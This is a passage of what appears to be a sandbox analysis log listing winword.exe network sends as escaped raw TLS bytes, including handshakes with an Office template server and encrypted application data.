  529. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\xe8\\xe9\\x1e\n\\xef\\x91\\xc3\\x83\\x17\\xfa/\\xe0oz\\x06\\xb3h\\xd2\\xa73\\x0f@\\x8dqsr%\\xe2\\x9e\\x92\\xb1\\xac\\xa8\\xa9r\\xd9\\xd9\\xfd13\\xcb\\x94\\xe3z\\x87\\xb2\\x0f\r2\\x97\\xc9\\xc8\\xa89c\\xad>\\xd9\\x98\\x84e!s\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8e\\xc1\\x8cy_k\\xebt\\xd1\\xbe\\xd0\\x88\\xa8i\\xa1\\x8ed\\xdc\\xa3\\x8a\\x96+\\xf0^\\x16\r\\x805so\\x94\\xf1s*\\x9e\\xe5=`9e\\xff\\x02\\x1adl\\x8af"
  530.  
  531.  
  532. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04r\\x8c\\x89\\xdfi\\xfe\\xcd-\\xf1sz\\xa2\\x94vh\\xd5\\xc6\\x1d\\xf9\\x9e\\xe1\\xe5\\xb4\\xc8\\x1a\\xcfw\\xab*\\xac\\xfe9\\x8f*\\xc9\\xab\\xfa\\xe3\\x0e*\\xd2\\xf6\\xf1?\\xbb\\xc7m\\xcci\\xf5\\x18\\x9a\\x1b\\xf5\\xcd%n\\x0bziw\\xfb\\xf0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8fc\\xea\\xed\\x10\\xc5j1=\\x99\\xba\\xc6\\xb0er4*\\xfb\\x98\\xa8z\\xf0|4\\x82\\xb5q\\xee\\x05\\x9f\\x97\\x0c_\\x00ol3k\\xe220\\x98\\xb8\\x8d\\xbe"
  533.  
  534.  
  535. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04a \\x11\\xa2\\xcb\\x02%\\x18p\\xed\\x1fr3\\xf1\\xa2b\\xfah\\xad\\xc9\\xdd\\x0c>d\\xe9\\xd8\\xb3\\xd25\\xf9#\\xe1\\xac\\xdam\\x87\\xe7\\xb9\\xb3\\xb9\\xfa\\xfe\\xdc\\x0b\\xdcz\\xabc:\\x8c\\xa3\\xc8\\x03\\xa1\\x979\\x03\\xe4p/\\x0fu\\x1e\\xa9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeapi\\x13rm\\xef\\x9f\\xe1q\\xd2\\x87d\\xa3\\xd7\\x9e\\xbb \\x08d\\x8c\\x9c.\\xbf\\x8ci\\xff7\\x96\\x19\\xe8\\xf4za\\xba\\xd6<\\xe5\\xd0\\xa1s\\x1f\\xd6ap\\x8c\\xc2"
  536.  
  537.  
  538. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04'\\x86\\xd8i\\xe2\\x0e\\xc9ha'mc\\xa3\\xaf\\x13d@\\x1f\\x03\\x8ce)b?\\xcd\\xfd\\x8a\\xf09iqg6\\xbfim\\x15\\\\xae~\\x8a\\x82\\xa9\\x94\\x10\\xc9f:\\x93,6es\\xaei\"\\x97\\x1c@r!\\x82@\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x93\\xdby\\xf5\\x1a\\x16f\\x91+\\xf6(\\xae\\xfe\\x9f\\xca\\xbb\\xa9\\x83\\xdcd\\xf7\\xdbu\\xc0i\\xca\\xc5\\xd8p\\x85\\xa0\\x01\\xb2q\\xcf\\x01\\x0bdh\\x86\\x0f\\xc8\\xa5\\xd37"
  539.  
  540.  
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7-\\xed*/1\\x15\\x06e\\xd0\\x1b\\&?\\x99w\\xc5\\xfbjo\\xa4,h\\x8f\\xf7=@\"0\\xce\\xf0\\x98z\\x85c#x\\xe7\\x9aa\r_,>\\xff)\\x9a%\\x8d\\xce\\x17w\\xea\\xa2\\xa3s\\xa5\\xb3\\xe9\\x02\\xce>\\xe4f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8d\\xfd\\xc4\\xa79~w\\xcc\\x7f\\xbf|.=\\x14\\x00\\xef\\xe1\\xbc\\xbb\\x89\\xa8\\x08\\xd6\\xe97\\x0f\\xbf_g\\xee?\\xc9\\x8a.\\xb40\\xf2\"\\x807xe|\\xca\\xe4q"
  542.  
  543.  
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8ce|\\xc1\\xfcc\\xa9\\xb9\\x84\"\\xf1\\xab\\xf8\\xb3\tc\\x7f\\xad(\\x0cu>\\x19\\xd3\\xb9\\x9e\\x96\\x8b\\x98\\xe7\\x19\\xd1\\xfc\\x0b\\x1e\\x93\\x9d\\xa5\\xabf\\xee\\xf7f\\x89\\xfd\\xcd)\\xd9\\x17\\xaba\\xc5\\x92\tp\\x8a%\\xa7\\x96\\xff18\\xfdh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\"\\x1e\\xc0>\\xd2\\x18)i\\xf7)\\xdd|:$f\\xa0z=\\xb3\\x8e\\x1a\\x83`c\\xd6\\x03q \\xfdw1\\xc2wav\\x18\\xd9|u\\xb06\\xf6\\xb0\\x145\\x82i\\x17"
  545.  
  546.  
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa4\\x01\\x0f\\xcb\\xc7e\\xadc\\xed\\xb3\\x8b\\x01\\xda\\x02\"^.\\xb5\\xc9\\xe5k\\xf5\\x17t\\x1ck!\\xbc\\xdd\\x8c\\xae\\x88%\\xd8\\xfa\\x93n\\xf3w`\\x13\\xb1\\xac\\xce\\xb8\\xe9\\xa0\\xf0\\x17\\x8c\\xc8f\\x9e\\x02q\\x9d\\x02?\\x88\\xc3ot\\xcd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x90\\xc2\\xc9\\x13n\\x12t\\xd8\\xdd\\x8aah\\xc8\\x15\\xb0\\x10\\x01*e\\xc2k\\x1d?\\xd8\\x0e\\xb8j\\x91vu\\x90l\\xdd7\\x19s\\xb9i\\x8b\\xb3\\x90\\x02\\xc7ea&\\x14"
  548.  
  549.  
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xab\\xdc\\xb3j\\x8d\\xf6\\xcc\\xdc\\xb6\\x1a\\xd5a\\x00\\x99\\xe1\\xd8zw\\xfd'\\x93\\xb9j\\x815|l\\xd4,f\\x1b\\xb1ls\\xa0(\\x1dk#\\xf0\\x9e\\x18n\\x90j\\xb2y\\xac\\xe7i\\xef\\x03'\\xa7\\xb4\\x9ec@\\xc6\\xfe\\x81\\xc4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf8\\x82l\\xf4\\xf3\\x1c\\x90u\\x93\\xfdt\\xaf\\xfb\\x98\\xaey&8=#\\x99\\xcf\\xbe\\x12<c\\xd9e\\x99;\t\\x14\\xff\\xf9qw\\x03s%\\xf1$\\xd6\\xab\\x83\\x98\\xc4k\\x1c"
  551.  
  552.  
  553. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb-\\x17\\x1du(ap\\xe4\\xab\rz\\xc7.t\\xfb\\xd1x\\x8a\\x07\\x13xw\\xcdu5\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  554.  
  555.  
  556. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010g\\xa8\\xf5)\\xb2k\\xfd\\xcc\\x92\\xc1`\\xcc(\\xe92\\xdea5\\x1e\\xa6\\xd5!\\x9b\\x9c\\x06)\"\\xa0\\xc7\\xa4l\\xb05\\x984\\xb3\\xff\\xf7xzh\\xc2\\xd8mnu\\xc3\\xaf\\xdc\\x11\\x17\\xac\\x15\\x0b(b\n\\x8f\\xde\\x8c\\x1ef\\xa7\\x04\\xf6\\xbf_\\xd3!\\xfb\\x11d\\xe6\\x9a!z\\xa0hza\\xda\\xc2\\x9fz\\xb6\\x1d(v\\x91\\xbc\\x06_)\\x12\\x01\\xe4\\x89\\xb7\\x89\\x7fi\\xe7jn\\x97\\x0209\\xc6\\x86>\\x08(rr\\x84\\x9d=\\x9bt\\xae\\x11\\x81\\xfb\\xc3ub\\x0cn\\xb0\\x9b\\xa1\\x04\\x95.rj6/<\\xac-\\x8c\\xd7o?\\xbeq\\xf9\\xeb.l1\\x86\\xc5\\xc8\\x9c\\xce\\x1fl\\xc8n\\xfb\\xbc\\x1b;\\xcf\\x9c\\xbez\\xef'x\\xa0\\xd3\\xf0\\x11\\x9a$\\x15\\xf9\\xafa\\x85&\\x16\\x83@`\\x00\\xce;\\x8b\\xc9\\x88\\x15>o\\xa0\\xdbvd\\xc2\\xf5~\\x9d\\x8e\\x8a\\x99\\xd1\\xedh?f\\xb8fd\\xa6q\\xf0\\xf2\\x8d$e\\x97i\\x15s\\xa9\"\\x95\\x1a^\\x1d\\xccx\\xc8|\\x1e\\xf1\\xca\\x853\\x13;\\xe0\\xeb\\xaa\\xb4"
  557.  
  558.  
  559. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce\\x9a\\x8de\\x13\\xf4\\x180\\x80\\xe7\"osr\\x0f\\xf8|:\\x94\\xb6\\xfd\\xec\\xad\\xe4\\xbd\\xee\\xef\\xdb\\xe4\\\\xe0\\xaad\\x0c\"\\x11\\xcd\\xb6e\\x12\\x99 \\x98#w\\x0c\\xa8~\\x03 \\x00\\xd5\\x9f'\\xee)u\\x00\\xb6\\x82\\x98c\\xd4\\x96\\xe9\\xf6\\xb1\\x15\\xeb\\x94\\x17\\xc3\\xd5l\\x89\\x1d\\xce\\xe5\\x86\\xda`7\\xf2\\xbci\\x9c,|\\x1ao\\xba\\xd7t\\x9d\\xa7\\xbaf\\x15p\\xd3a/\\xdc\\xa5=mf\\x81!j;-\\x81\\x8c\\x1c\r8\\xf2\\xf72|s\\x84\\x85\\x90\\xac3gq*\\xbd\\xc9\\x9c\\x07q&\\x07\\xbc\\x18\\xbd\\x95w\\\\xe6>\\xa4\\x0c\\xf4\\x173op9\\xcd\t%\\xf95i\\x07\\x8c\\x12\\x83\\xb9\\xfck\\x7f\\xb7\\xbc^\\xc7s\\xea\\xc9\\x88\\xeet\t\\xef\\x10\\x01\\xe8\\x95\\xa2\\x92z\\xfe\\\\x19\\xcfe\\x10\t\\xcb_k\"\\xc9`\\x01~)\\x16\\x0c\\xa4\\xb9t8\\x8d\\xdau!g\\xf7\\xed\\x082c\\x962\\xa6i\\xaa\\xe6\\xaa\\xd9\\xce\\x12\\x0b\\xc4d\\xb2\\x1e\\xe8s\\xbd\\xe8\"d\\xd3oiq \\xfd\\xb1\\xf4"
  560.  
  561.  
  562. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdc\\xb8+\\xeby\\xc0\\xda\\xc7\\x9a\\xc3\\x83\\xb4q\\xd7=\\xd9\\xbfcx\\x1b\\xdbi\\x7f\\xbcv\\xd7\\x0e\\xcf/\\xa0\rrw\\x1ex\\x93\\x12\n\\xefwt\\x14\\x9b\\xeacsf\\xbd\\xb1\\xc6=\\xd5pz\\xd3\\xf1\\xff\\xad\\xbd\n\\xf3\\xe5p\\xceh\\x0f\\xf0\\xa2\\x06\\x10!h\\x8c\\xe5\\x00\\xab~\\xf6\\x0b\\x93\\xbc:8\\xf3\\x92\\xad\\xd5\\xa0;\\xee\\xc9\\x11\\xbc/\\xb4\\x7f\\xe9\\x839nb)\\xae\\xf8\\xee~\\x804\\x9b\\x14\\xd5\\x8aq\\x9d\\xd3\\x96\\x0c\\xa6\\xb0\\xdbd\\x10id\\xd2x\\xd1\\xd2+i\\x19\\xcf\\x0f\\xa7cn\\xb1d3\\x15w\\x91)f?\rz\\xfc\\xd2c\\xdf\\x9a\\xe1g\\x05\\x92\\xa2m\\xac~\\x18\\x8d\\x90\\xf3w\\x07+\\xa4k\\x05\\x99\\x13\\x8f)k2d\\x1e\\xa6\\x1cw\\xa3.0\\xdac\\x05\\xcd\\x85\\xfa\\x15x\\xe7f\\xc1v\\x86wz\\x16ni\\x99\\x97\\xc9\\x98#\\xdf;o\\xe7\\xe6\\xdem\\xdd r\\x1d\\xbfm\\x89\n\\x86\\x9fl\\xdc\\xe4\\xadg\\xf77\\x11\\xebodk\\x0f5\\xe9\\xc5\\xad\tn\\xcf\\xa9\\xb5"
  563.  
  564.  
  565. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xbd\\d\\xd14\\xbbjev\\xc7)\\xae\\xb56&a\\xfce\\x9d\\xa4\\x9e\\x06\\xbd\\xe0\\x0e\\xf6*\\xa6%\\x97\\xa5\\xd6g\\xb1\\xb2xy(\\xf3\\xa5\\x15\\xd7\\x19\\x02\\xde\\x19\\x03h\\x9b\\x9c\\xad,\\xbb\\xe13\\x85\\xab\\x7f\\xa5\\xc8\\xc4\\x13\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\\xf9\\x7fh!s\\xe8\\xd7\\xe7f\\x82\\x04\\x85\\x9af\n\\xca\\xae\\xc0\\x97?zd\\xa3\\xd98@\\x11\\xfc:g\\x02xtl8\\xb1rn@_<4\\xdc\\xedp\\x02"
  566.  
  567.  
  568. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbc\\xf6\\xe0<\\x0b\\x13\\xc89\\xa8z\\xae\\xe3\\x0c\\xefu\\xd2?h\\x88%\\xe4hv\\x13y\\xe8\\xf8\tv\\xfb\\xebm$\\x86!\\x17\\xd9\\xbcn\\xa7\\xe1\\x1e\\x15u)\\x08\\xdb(d\\x0b\\x8b\\x97l\\x0by\\xd8w\\xc9'=\\x84h\\xc1=h=\\x99.\\xc8\\xfb\\xaa\\x98y>\\xb3w\\x9e\\x91\\x9410h\\xf64\\xd51\\x1cm\\xca\\xb0l\\x82\\xd4\\xc5\\x02\\xce\\xf5n\\xed\\x1c\\x84\\xb0\\x13\\xb7\\xce\\xb82%r\\xed\\xf6\\x8c\\x03\\xb4\\x13\\xe6\\x88\\xe5\\xc2\\xfc\\xa1'\\xd63\\xc4\\x00\\x13\\xe6_\\x8fy\\xa5\\x1c\\xda\\xfcg\\xf4\\xb5\\x0f:;\\xbd\\x81\\xb4l\\xab\\xb69\\x1e1\\x1f\\xc6\\xdd\\xda\\xc8e\\x87\\xe3\\xf6\\xeeg.\\x81\\xbc\\xcdu\\xc9tr\\x97\\xf8\\xf2$\\x07xf\\x8c\\xdd\\xf1\n\\xbb\\xf2\\xfbo$\\xeco+\\xdc\\xef\\x9b\\xce\\xdf\\x01\\x05\\x8cz\\xe0\\x9d\\xfc\\x96 \\x17\\x9f9\\x1a\\xe9\\x1d:\\xe4\\xd0\\x02\\xdep\\xf5ye\\x89\\xc4\\x06|\\xeb\\xa7\\x9e;\r1\\xef\\xc2\\xb2e\\xf2\\x8c\\x17\\xf3cq!\\x0f\\xa5l$\\xed\\x99\\xafkd\\xd9"
  569.  
  570.  
  571. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc4o\\xec\\x88\\xbb&\\xf8\\xaf2\\xb7\\xc3\\x0c\\x04<8\\xe2\\xf8\\xd6\\x12\\xc9\\xfaj\\xe2m\\xc2\\xd2\\xae)\t\\xc9&\\xf3\\xd3\\xf2\\xbb%\\x98\\x8e\\x13\\xfa\\xefx2\\xbb;\\x1a\\x98\\xd6\\xe7\\xf6\\xbf\\xaa\\x19\t\\xbe\\xa8\\x05\\xabo@\\xda~2\\xd3o\t\\x0c\\xb0\\x04\\x9b\\xcc2\\x06\\xfa\racqf\\x84\\xa9\\xdb$l\\x01\\xe6\\x08\\xdb\\xd2zj\\x19g\\x8f\\x87\\xfe\\xf8\\x98\\xe8\\x0e\\xd4 \\xef\\xbd\\x91\\x84fu\\xd1\\xb9\\x94\\x90rf!\\xbec\\x17\\x1bwm\\x0bh\\x1b\\xffve_\\xd9\t\\xd5p:\\xe1\\xf14\\xaf\\xd5s\\xe9\\x13wt\\xf4c0m\\xc2n2&\\xbf\\xb3\\xcf\\xc9\\xde6\\x01y\\xaddf\\xdf\\xaf9n\\x12-\\xfd\\xddw\\x87\\xf6&\\xf7\\x02\\x06\\xc9b\\x8e\\x9b\\x0f3\\x96\\x00g\\x90r\\x1e\\xa2@u\\xbd\\xde\\xb8\tk\\xbc<\\x98\\x04\\xd13\\xc3\\xc6\\xf6\\xee\\xe7_\\x88p\\xbf!\\xe1\\xf5\\x8b\\x87\\xf3\\xc1\\x0f\\x95\\x06\\xb4g\\x04\\x83>\\xde3\\xff\\xaf\\xb2\\xfb\\x84\\x9e\\x0f\\x93\\xda\\xb4:\\xf0\\x15t\\xf7\\xd3z&\\xd9"
  572.  
  573.  
  574. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd5\\x94\\x98z8\\xb0j\\xb2\\x14\\x0b\\x93o\\xb4\\xc7\\xa4&3\\x88\\xb6\\xc8u\\xbas\\xf9\\x99\\xa6\\x8f\\xfd\\xc9\\xbe\\x8a\\xd4\\xb5>\\x90\\xe2ch\\xa4\\xebu\\x1f\\xf4\\x89l3\\x142v!\\xe4\\xd6\\x16\\x11\\x95\\x83\\xd1\\x9e\\xc8\\x92\\xde\\xc8\\x1e+\\xabd5\\x9av?\\x8b\\xa3\\xef\\xd5\\xfdi\\xeb(\\x0c\\xe64\\x92 \\xd7\\x8f\\x10&k\\x97\\x84\\xec`\\x1c\\x83\\xfd#\\xde8_o\\xea\\xc8\\x03\\x1d\\x1f3\\xc3\\x8d\\x8c\\xb4\\xd3\\xc6\\x01\\xc4\\x01\\x92e\\x90\\xb74\\x8c,jb\\x1f\\x04\"`\\xa3\\x19\\xbb\\x88\\x85\\xe1\\xa6\\xdeavj\\x8bv\\xc5^k\\xfd\\xf8\\x05,>6\\xbd\\xf0b8\\xb8mm(\\x85\\xbc~\\x0e\\xb1\n\\xdc\\x86j\\x8b\\x05cll\\x8a\\xc2y\\xec`\\xba\\x10;s\\x12\\xa0e\\xe8\\x9a\\x14\\x1a\t\\xad\\xa01yn\\xb2i\\xd4\\xf8\\xec\\xfe\\xda\\x8e\\x16\\xb1\\x8f\\x81\\xaa\\xce\\xb9\\x92s\\xf9\\x8a\\xf3\\xf5\n\\x90\\xbc\\xef\\xf2\\xf5k*\\x0b\\x19\\xba1\\xabn\\x90\\x8cm\\xd1=#\\xdbu\\x88\\xa1\\x0b\\xa9\\xf8\\xe2dr"
  575.  
  576.  
  577. "http_request": "winword.exe_WSASend_\\xc8\\xba\\xb9\\x08\\xb0f\\xe8\\x08\\xb5\\xca=\\x1ae`\\xe4\\x0f\\xc8\\xd7\\x1ed\\xa6t*<\\x03\\xf3a\\xbf\\x04\\x06\\x00\\x06+&4\\xdd*\\xfcu\\x80\\xc5\\xd8\\x0cb\\x82\\x1c\\x90\\xcde\\x86\\x0c\\xfd\\xc6z\\xa9?\\x06b\\x1b\\x93\\xfd\\xf4\\x05\\xb1\\xef\\xf8u`tnz\\x0f\\x97\\xad2@t\\xad\\x1f\\xa6\\xfdijq\\x06\\xaal\\x0f\\xe1\\x18\\x88f\\x83\\xe0ed\\x8e\\x9d\\xb64p)\\x8f\\xcb\\xe3\\x80\\xf1%\\xb5\\xf1\\xe3\\x18\\xe4eo\\xfc\\xc7e\\x96~\\xa7\\xfd\\xbbl\\xdbo\\xdf!\\xad\\x99\n\\x9ca\\xd4\\xa0\\x07\\x1d0\\xfd\\xff9\\xd6\\xef\\x12\\xb4b\\xf2\\xb8\\xa7\\x97\\xae\\xc6&\\x94\\xb7\\xde^\\xad\nq\\xa4\\xbe\\x0b6\\xcej\\x9d\":\\xac\\xe7\\xb4h\\xcdwc\\x02xqi\\xcd\\xde\\x1e7\\xda\\x01\\x13\\x07\\x19dg\\xb6i\\x1406\\x0c\\x98\\xfe\\x96\\xbca*\\x83\\x0e\\xf2\\xb6fo\\xd1\\x97\\xa1z\\xc4y\\x8a\\x95a\\xd5\\xe5x\\xb6\\xd7\"\\x9e\\xec\\\r\\x08\\xb8t!o\\xa8\\xa9\\xc4\\xc4\\xdf#_t@9\\xe9\\xc5\\xadt\\x8f\\xef\\xe0\\xb4g\\xef"
  578.  
  579.  
  580. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xebcj\\x01\\xa7\\x9fao;\\x1e\\xe3\\x80|\\x07\\xb7nf\\x96\\xcd\\xa6\\xb2\r\\xb34l\\xcd\\x1e\\xe5\\x1d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  581.  
  582.  
  583. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xc5so\rg\\xb4h\\x88o\\xc7\\xd64\\xde0\\x0f6\\xac\\xec\\x1bktwj\\xad\\xcf\\xfe5\\xaa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  584.  
  585.  
  586. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc3\\xfa\\xaer\\xbf;@\\x81o*q\\x14\\xde.\\xcb\\xe0.a\\xae(>#\\xdc\\x8a\\xbf\\x86\\xab2\\xd1c`)\\x13fi\\xdd\\x0bs\\xd5c#g\\x95<.~z\\x80\\xa3\\xbc\\x1emc\\xe2\\xec\\xac\\x82\\x8e\\x1a\\xf9\\x9b\\x10\\x1c\\xc0vl\\xf6og\\xcf\\xfa\\x98n\\x10\\x83\\x86\\x85\\x80ye\\x89\\xbf\\x02\\x939.\\x9eu\\xce\\xf6\\x9a#6\\xcd\\xdf\\x0cf\\x88f\\xc1pz\\xe6\\xcc\\x0c^\\xcf\\x18\\xc6\\xff6\\xfe\\xfc\\x12\\xad\\x97\\x01\\xf0\\xd1\\xd6\\xac\\xa72\\xa5\\x1c\\x8b\\x88\\x8c\\x80\\xd5xkl\\x99\\xdc\\xa3\\x89\\xa0u\\x02\\xc1\\x82\\xa6\\x9c\\xabm\\xff\\xae.+\\x9b\\xb6x\\x99\\x87\\xe2t\\xe1\\x9d\\x8c\\xecao\\x9bfh\\x86t\\x97\\x8c<l3`\\x99\\xaa\\xf2\\xa20\\xd4-\\xff\\x9a\\x95\\xccw~\\xf0\\x98\\xfb\\xe3x5h\\xc7\\x0f%f\\x9e\\xa9\\xe8/p\\x1d\\xe1k\\xed\\xc3;\\xec\\xdbc@9\\xf8$\\x84-\\xbc\\x1d*\\xee\\xd9b\\xdb\\x8e=\\xcc\\xdc\\xac#\\xba\\xe5\\x82e\\xc2)\\xe3x\\xf7da\\x1e-\\xa5\\xa3\r;"
  587.  
  588.  
  589. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\xfd\\xc4\\xa2\\xced\\xbft\\xac\\xdb>m\\xf6%\\xe9c\\x89\\xdb\\xbb9\\x8c\\x0f\\xe6u\\x90.\\x15\\x18)\\x91z\\xab\\xca\\x0f\\xe9\\xe4\\x85\\xa7~\\xf3k\\xa9\\x94\\xef\\xee\\xcf\\xdd\\xe2hj\\x85\\x875k\\xa4\\x9c\\x05\\xc1\\xf8\\xf5*\\x93^\\xd6v\\xa5dqej\\x8a>xp\\xb7s\\xf1\\x83;\\xb18\\xf6\\x0f8\\xbf\\x17\\x08\\xef\\xea\\xb4l\\x93\\xdb\\x92_c\\x10\\x8a\\xb9\\xe5s\\xf3\\xc2\\xb2<b\\xff\\x96\\xe3\\xd7-j\\xe5\\x8f\\x132\\xf1\\xd1a\\xa7\\x06\\xc0\\x9f\\x12'\\x82\\xaf\\xfd\\xc2kn\\xf5\\xcc\\x1e\\xcfni\\x14\\x81\\xab\\x99\\xe6\\xde\\xef\\x1b`1\\xeb\\x96uy\\xd0o\\x08\\xd5\r\\x11\\xdd~\\x02\\x1d\\xe9\\x93\\xae\\x8b\\xec8\\x06g\\x0f\\x00\\x8a\\xc0\\xf82\\xa0\\x90\\xba(\\xb6\\x98\\xcd\\xd3\\xde\\xc8\\xaamz\\xde\\xb7~\\xd5\\xca\\x9a\\xe9ws\\xd9\\xf8\\xcf$e\\xd1\\x7f\\xa1\\xf7\\x0b\\xcey\\x15ne\\xde\\x18\\xd32\\x9b\\x92\\xbc\\xaf\\xa6ja\\xad.\\x8e\\x9b\\xf2\\xc0\\xff\\xf1\\x1d'\\xa4+%\\xdb\\xe8w\\xbf\\x83h:d\\xe5\\xc8\\x00\\x8d"
  590.  
  591.  
  592. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe0\\xf5\\x16\\xc7i\\xce\\xfc<*g\\xbf\\xb4sj\\xc5\\x9ao\\x8a\\xaad\\xeab\\x90f\\x00t;*\\xf5t\\xe4\\xf5\\x86\\x1c\\x86\\x08v\\x0c\\xae\\xach\\x19\\xf6(\\x11hq\\xcb=\\xa6\\x84\\x01u\\xef\\x9f\\xd1\\x1c\\xee\\xba\\xa6\\xfe\\xb9\\x9b\\xa2zy\\x08\\xdf\\x06\\x85\\xf3\\xc2\\x9a\\x1d\\x1ab\\x16\\xfe\\xe0|\\x8f\\x95\\xdf\\xbb\\x08d\\x027\\xea\\x94k\\x0ba\\x89\\xd9>\\xc9\\xbca\\x8424\\x8deq\\xf9\\x9a\\x8df\\xf5\\x06\\x97\\xc3\rd\\x9a9s\\x15\\x83\\xb1m\\x0c\\x0b\\x13\\xc1h\r'\\x82;2\\xd8n\\xad\\x85\\xc6i\\xef\\ik\\xe8\\xd6\\xb74:\\xf3\\xe0\\xb9\\xf1w\\xb4\\xaag\\x12h\\xa6*#\\xb9\\xa9\\xa4dl\\x8d\\x1f\\x82\\xa5\\x01\\x15~db\\x9d\\xad\\xbf>\\xc3\\x80\\x8e\\x8a$x<\\x91\\x9d\\x00v\\xec\\x12=oi\\xaa\\xd4\\x86\\xf6\\x8a\\xaf\\x0e\\x95\\x8ch\\xa8\\xc0,\\x9b\\xd7x\\xc0b\\x0b\\xfdo\\xe8\\xc0v\\x81f\\xb3\\x13\\xb0?\\xe3o\\x08\\xf3^\\xe9ax\\x15\\x90\\xdd\\x11\\x84\\x17\\x8f\\\\xfev\\xf9\\xdd\\xe4\\xb7>\\x8c\\xff\\x1a'"
  593.  
  594.  
  595. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\xad;\\xa6\\x0c\\xc29p\\x1c\\xd6\\x7fw> i\\xbel\\xc4g\\x8f\\x8e\\xc0\\x1e\\xb8ty\\xba\\xcdi\\x06\\x94c\\xf8\\x1a\\xbc\\x14p\\xd9a\\x85ul\\xd3k\\xa6k\\xd5\\xd3\\xfdc\\xa1~ahi\\x11l+\\xc5\\xa0\\xdcfd\\xacml\\xc8\\xb239\\xbd\"\\xcal|w\\x0e'\\x1e\\xdc \\xbf\\xe2\\x9bg\\n\\xca:\\xfcw.ix\\x07\\x8a\\xea3\\x87\\xdc\\xe9\\xd1\\x1d99\\xc0\\xdb?\\x06/\\xfe\\xfc\\xc4\t\\xe1\\x94q\\xaep\\xe0\\x85\\xdbky*\\x04tiw|\\xfce\\x1cw_\\x8a\\xa2\\x8e\\xa9\\xb8\\x9e\\xd8?a\\xcdw\\xecyy\\xd6\\xb4v\\x8f\\xaaz\\x07\\xab\r\\xfd\\xd6\\xde\\xad\\x98\\xc2\\xad\\xdf\\x96\\xd8p\r\\x1e\\xa2\\xdb2\\xf2\n\\xae5\\xc6p(\ro\\x91;\\xac\\xe9q\\xb8\\\\x11\\xe8\\xa7|\\xd5\\xfe4\\xd1a9\\xca\\xf3~\\x0c\\x81\\xb79\\x86\\x11\\xc4i\\xd6c\\xd3\\x06\\xbd\\x1d\\x80\\x96\\x03`^\\xf2\\x1f\\x04\\x92\\xbe~\\xe1\\xdc\\xd0q\\x8a\\x19^c\\xe9\\x13\\x86\\xc0:\\xd2\\xe9\\xad\\x0e\\x96$\\x8d"
  596.  
  597.  
